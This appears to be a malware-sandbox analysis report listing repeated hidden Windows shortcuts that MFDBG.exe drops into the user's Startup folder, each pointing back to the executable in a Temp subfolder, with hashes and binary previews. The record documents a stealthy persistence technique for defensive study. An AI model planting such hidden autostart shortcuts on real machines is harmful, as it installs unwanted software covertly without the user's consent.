File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919009185986217
Encrypted:	false
SSDEEP:	24:8Z2Bfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	78DAFE611C9804054C77876A92D1EEB3
SHA1:	0689408FFAA64418D171C8492ED303A62338FC47
SHA-256:	7630AF87C9FCCD8B55530DA2EA66403279CA140C2A4EC8BBCDCC01B28D794366
SHA-512:	7993306716ACB1434D3BFCCCF089B0EEC222E0906A463D61FF0A3D35DC70B5D8BEBE9F65DDB4C34A65ED6165D16B6F4DC5DA1762E77722B72BC6BF220152AA36
Malicious:	false
Preview:	L..................F....".......d...F..&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_811e9dbcd47c441ba1fae3f3ae188f46.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.902437472790736
Encrypted:	false
SSDEEP:	24:8/Bf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4BA4F86FB1A950BA989E70E651D6F064
SHA1:	2BCDC52CDB9E4B9C0E7DD712E6466A3DC4B66065
SHA-256:	5B60EEEC64537C87BA89F0829711E9A2BC4F1D3787E544B95393825693319D9D
SHA-512:	27DCD8FD57C9E2F3ABFF11B37A96B700FD06ACB02AAF2D5E2010E16AD943024E21695EFED094AE31D93E77F090230BA8AC6B7C08FEE734A88809DD55892C7A89
Malicious:	false
Preview:	L..................F....".......d...e.<\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....9\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81809ab3c09b41e088a498928841e68a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925392545015147
Encrypted:	false
SSDEEP:	24:85BfMN8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jUaEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0BD7142A26FDFDA8F68EFB0003B57048
SHA1:	C36D7E519650DE4A77D18B3F96BD6546897CCFF1
SHA-256:	2D44167904A3F44296A664446EC6ABC04D85B3D51A25F2782486B52669E6FC04
SHA-512:	07B3902EA308AC8EA1AB5066BB6BDAF6B70878969C477BB0D4612D384386CF36137F6E4F4DE9B6BD61C1E55FB6E60724DB327CDED45374F821B2374BDE556274
Malicious:	false
Preview:	L..................F....".......d...~..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...'k.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_818558ce3f0c4258b79e7b320de83643.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919700714765595
Encrypted:	false
SSDEEP:	24:8FBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5D1E2FB77FC7ADC00B783928954DEF05
SHA1:	9DA5D4AC5911F1D6ECF096242DB4C3B3F21EA974
SHA-256:	CBC0D67AF8760AD2FA33A6DC9E11243E07DB471DDB8F58EAF2DBFDE17F4CFF0C
SHA-512:	3D5E220E1B2075665B237CF4F299B5D3E1E8C30C0B802946694F9549CA8A39840E012FF2C0792E4254FF00F2F6DDCB3BD55BCC5F491B7985926995F94FEBB84C
Malicious:	false
Preview:	L..................F....".......d....=.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_819057e8a2e1461a89ae5c8ebdd55e98.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92082335400432
Encrypted:	false
SSDEEP:	24:8tx2Bf048EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8g89EvZ0yRO7DLO2zdxdRd1kyg
MD5:	CBCB3B9D4EF9CB795837DB6014473DD5
SHA1:	B35BDD44EAD8A5295736BAC8D6BCEB6C4529C540
SHA-256:	3B199284B9894B00BEA85340ABA587A7DA95278CC8E05A577A6AFBE6BE84BEF6
SHA-512:	91450D99CC2BE48CC00486BC28B64F0F25F25A7941B8B948CC773824D545B53D0F5AF2DCE57F24873B654EF3AC8E34A9A38C332BE9D2084DB666B1ED25D46474
Malicious:	false
Preview:	L..................F....".......d...I1.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8211aff5c1634044a9b9555327b4c49e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921692341543588
Encrypted:	false
SSDEEP:	24:8SBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8AyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	ABD6784135C0B383F6620EF49F4AAC7B
SHA1:	F017E1D2741DD2199C38BE8BFA7332A9F48527FD
SHA-256:	0C5039E7D63CA41992C1617322E122D515560C712B67211FD569F91D7A538B86
SHA-512:	9B12BC10B144C77B85CB83D721409CF500D30A2482C20EE79B8FD518793C0441CDFBB19671FA9DD43ABEBBD10EE46A846FC23EB154527CDC8F42C893D90AF761
Malicious:	false
Preview:	L..................F....".......d....:.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_822c1760a95148578fdb63fea6a7fed7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254248
Encrypted:	false
SSDEEP:	24:8pcBf+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pS7EvZ0yRO7DLO2zdxdRd1kyg
MD5:	EB813617064062BB5E3B4F3A0D3FA7E2
SHA1:	D204B1146980354C88A950D8EAA95E5EBCD68BA2
SHA-256:	412DED43CBB636CFC851D8B9AD13D75FA6E3ED8ED8744D303CFC4E6CE295BEB3
SHA-512:	48F431553CD9733C0DD8F0D952AE0196345A5696B89F1A6523A486251ADEEF32516E525AA1E78C76D09AA9F1206AB37CB899C921C7F9B0290F11328D67AAE975
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8278637c33a04408be6a23abc83bec77.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927657892145497
Encrypted:	false
SSDEEP:	24:85Bf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3C0DBC37F1FCA0D83180CEDA69508C3D
SHA1:	38B62C0FEB78737E349B0C6253D7FD98FE22F701
SHA-256:	5F76D2E65871B3DC9EF94C88F07FF2728B45E8BE0F20A2F472CD0D68F8797015
SHA-512:	07B177AEB3F54C9C31A7F713CCBFFB2C473050281D150FFD51388DFE9D3DC35E1B907BFC57146325DE9F951F5D251F5BDE55D32D07F05C4B2FD9C35AFE96E837
Malicious:	false
Preview:	L..................F....".......d...4..;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_828f65652b444fc88acbb7f98b1e264f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913865620412403
Encrypted:	false
SSDEEP:	24:8mBf08EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8s5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	94D5FEE408F7DC73BCF1E05EC41A298A
SHA1:	2C4C8188FCA6E8BCD826F5AC9DD19F9861E8A84E
SHA-256:	EE7D961F75E581D40D33C18839289ADD3FCBCD7CFC72350F6820C3B66EA7758D
SHA-512:	0FAFA0E6D35A69B028048F83E032F77294D849479AAB546E7E0C55AF733017883DB6E634E2658A6510B95615A9BBBEA5445F5A9A6F6D7092D57D78F892DD30CE
Malicious:	false
Preview:	L..................F....".......d.....G=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...z.D=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8342df1c9191411bb0a13e59bd1c6ff0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9324613446506556
Encrypted:	false
SSDEEP:	24:8h0Bf28EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8czEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AEEBB8F3F6FBCB45783F64C47CFF409F
SHA1:	51674D96702B19FD59E278E0FEE159846323B3F2
SHA-256:	400E33C3AB8ED0FBCF88C36C4C7EF4C80DD4ED54B42D53D1251F89AEF915733A
SHA-512:	337EF1431772025ECAED1177AA87BEC1B4102C681F7B097147BB55FB9621311B364A5CFCDCFBF0A142570773E5FDCCFE573F3E196067F3B1181CFFF50CE227C9
Malicious:	false
Preview:	L..................F....".......d......_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8387ba5387964ca0946eca8a9f203a04.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920018214204478
Encrypted:	false
SSDEEP:	24:82BfZ48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88R9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	D314C094D7F8D658C17E83B02C9BCF29
SHA1:	A450DFF07A306D89FC07B43604E9A51C74239ECD
SHA-256:	171D818F25899BE46F5048E3A186A053811DA8759A0C9387885351D8D4C48801
SHA-512:	ED9430BC59754B4DF116D7FF1DAB6B52AF34D0A4399717A1ACA69473143FDA0051F50CAA25094ECF664F79C1F749743921F1C3BF584F23B711E4DDE18D5C534F
Malicious:	false
Preview:	L..................F....".......d.....U.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....U.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_83f9259edeb24126b3478ed7d0b7429b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920939255224405
Encrypted:	false
SSDEEP:	24:8rkrBfVkD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8r8t9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	BAEE53B7B15BDC5B1E5819E62B272306
SHA1:	9D96FFACCCD3ACE11251E24831043252F9D3E5D8
SHA-256:	24D195807B8764507F3B81A4FB1EA9B8C9FAEB21877960C1FB3A65FFB9054811
SHA-512:	06E7A62C7FFC3F5DA172FBD1C23871DB4CA89A8BAB304B6E14A6D9863E0F65DA468CFF5E1A1C3A3D1929F33579E42F66251BD4E1D3DCA77DC38764D8A669740A
Malicious:	false
Preview:	L..................F....".......d....,.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....,.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_84237ee2fb2842e6a61600f6b4ccb230.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930912071452584
Encrypted:	false
SSDEEP:	24:8UBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	00826F7F7FDBB57832D18C3E211415DF
SHA1:	EBBCB20792E3449BEFF1FEDE68239E2EBA89B35D
SHA-256:	CAF9676B194C8D3843794E0085C132A045A54C62EED1C5E5E1051102C7C78238
SHA-512:	55D5E0F5C832BEEFBE88A49A7B36D430ECA3389E10F15211948AC741906209C29712D7EA50B7723D1B6DB744E55D2DD2D956331D21120E8EE035A61642F9D461
Malicious:	false
Preview:	L..................F....".......d...#;R~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....H~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8482ad9507004c00a1b3cf7de31ac34b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
